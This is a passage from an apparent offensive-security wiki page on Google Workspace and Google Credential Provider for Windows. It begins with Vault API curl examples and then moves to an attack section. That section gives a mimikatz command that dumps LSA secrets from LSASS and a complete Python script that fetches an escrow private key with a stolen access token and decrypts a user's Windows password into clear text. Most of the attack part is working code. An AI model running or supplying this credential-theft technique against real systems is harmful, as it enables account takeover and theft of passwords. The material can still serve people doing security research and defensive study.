  -H "Content-Type: application/json" \
  -d '{
        "name": "Legal Case 2024",
        "description": "Matter for the upcoming legal case involving XYZ Corp.",
        "state": "OPEN"
      }' \
  "https://vault.googleapis.com/v1/matters"

# Get specific matter
curl -X GET \
  -H "Authorization: Bearer $access_token" \
  "https://vault.googleapis.com/v1/matters/<MATTER_ID>"

# List holds in a matter
curl -X GET \
  -H "Authorization: Bearer $access_token" \
  "https://vault.googleapis.com/v1/matters/<MATTER_ID>/holds?pageSize=10"
```

More [API endpoints in the docs](https://developers.google.com/vault/reference/rest).

</details>

## GCPW - Recovering clear text password

To abuse GCPW to recover the clear text of the password it's possible to dump the encrypted password from **LSASS** using **mimikatz**:

```bash
mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets exit
```

Then search for the secret like `Chrome-GCPW-<sid>` like in the image:

<figure><img src="../../../images/telegram-cloud-photo-size-4-6044191430395675441-x.jpg" alt=""><figcaption></figcaption></figure>

Then, with an **access token** with the scope `https://www.google.com/accounts/OAuthLogin` it's possible to request the private key to decrypt the password:

<details>

<summary>Script to obtain the password in clear-text given the access token, encrypted password and resource id</summary>

```python
import requests
from base64 import b64decode
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.PublicKey import RSA

def get_decryption_key(access_token, resource_id):
    try:
        # Request to get the private key
        response = requests.get(
            f"https://devicepasswordescrowforwindows-pa.googleapis.com/v1/getprivatekey/{resource_id}",
            headers={
                "Authorization": f"Bearer {access_token}"
            }
        )

        # Check if the response is successful
        if response.status_code == 200:
            private_key = response.json()["base64PrivateKey"]
            # Properly format the RSA private key
            private_key = f"-----BEGIN RSA PRIVATE KEY-----\n{private_key.strip()}\n-----END RSA PRIVATE KEY-----"
            return private_key
        else:
            raise ValueError(f"Failed to retrieve private key: {response.text}")

    except requests.RequestException as e:
        print(f"Error occurred while requesting the private key: {e}")
        return None

def decrypt_password(access_token, lsa_secret):
    try:
        # Obtain the private key using the resource_id
        resource_id = lsa_secret["resource_id"]
        encrypted_data = b64decode(lsa_secret["encrypted_password"])

        private_key_pem = get_decryption_key(access_token, resource_id)
        print("Found private key:")
        print(private_key_pem)

        if private_key_pem is None:
            raise ValueError("Unable to retrieve the private key.")

        # Load the RSA private key
        rsa_key = RSA.import_key(private_key_pem)
        key_size = int(rsa_key.size_in_bits() / 8)

        # Decrypt the encrypted data
        cipher_rsa = PKCS1_OAEP.new(rsa_key)
        session_key = cipher_rsa.decrypt(encrypted_data[:key_size])

        # Extract the session key and other data from decrypted payload
        session_header = session_key[:32]
        session_nonce = session_key[32:]
        mac = encrypted_data[-16:]

        # Decrypt the AES GCM data
        aes_cipher = AES.new(session_header, AES.MODE_GCM, nonce=session_nonce)
        decrypted_password = aes_cipher.decrypt_and_verify(encrypted_data[key_size:-16], mac)

        print("Decrypted Password:", decrypted_password.decode("utf-8"))

    except Exception as e:
        print(f"Error occurred during decryption: {e}")

# CHANGE THIS INPUT DATA!
access_token = "<acces_token>"
lsa_secret = {
    "encrypted_password": "<encrypted-password>",
    "resource_id": "<resource-id>"
}

decrypt_password(access_token, lsa_secret)
```

</details>

It's possible to find the key components of this in the Chromium source code:

- API domain: [kDefaultEscrowServiceServerUrl[] = L"https://devicepasswordescrowforwindows-pa.googleapis.com";](https://github.com/chromium/chromium/blob/a66c3ddadf5699b5493c3bce9498e53b249d5ba3/chrome/credential_provider/gaiacp/mdm_utils.cc#L78)
- API endpoint: [kEscrowServiceGenerateKeyPairPath](https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential_provider/gaiacp/password_recovery_manager.cc#L70)
- Inside the [password_recovery_manager.cc](https://github.com/chromium/chromium/blob/c4920cc4fcae6defb75dc08a3b774a9bc3172c47/chrome/credential_provider/gaiacp/password_recovery_manager.cc) it's possible to see how the API endpoint is used to get a **public key to encrypt the password and the private key to decrypt** it in the needed methods and also how the encrypted password is **stored and retreived from the LSASS process**.

## GCPW - Recovering locally stored password hash?

It was checked that even if the computer doesn't have internet access it's possible to login inside of it. Therefore, **some kind of password hash might be stored locally. (TODO)**



## References

- [https://www.youtube.com/watch?v=FEQxHRRP_5I](https://www.youtube.com/watch?v=FEQxHRRP_5I)
- [https://issues.chromium.org/issues/40063291](https://issues.chromium.org/issues/40063291)

{{#include ../../../banners/hacktricks-training.md}}



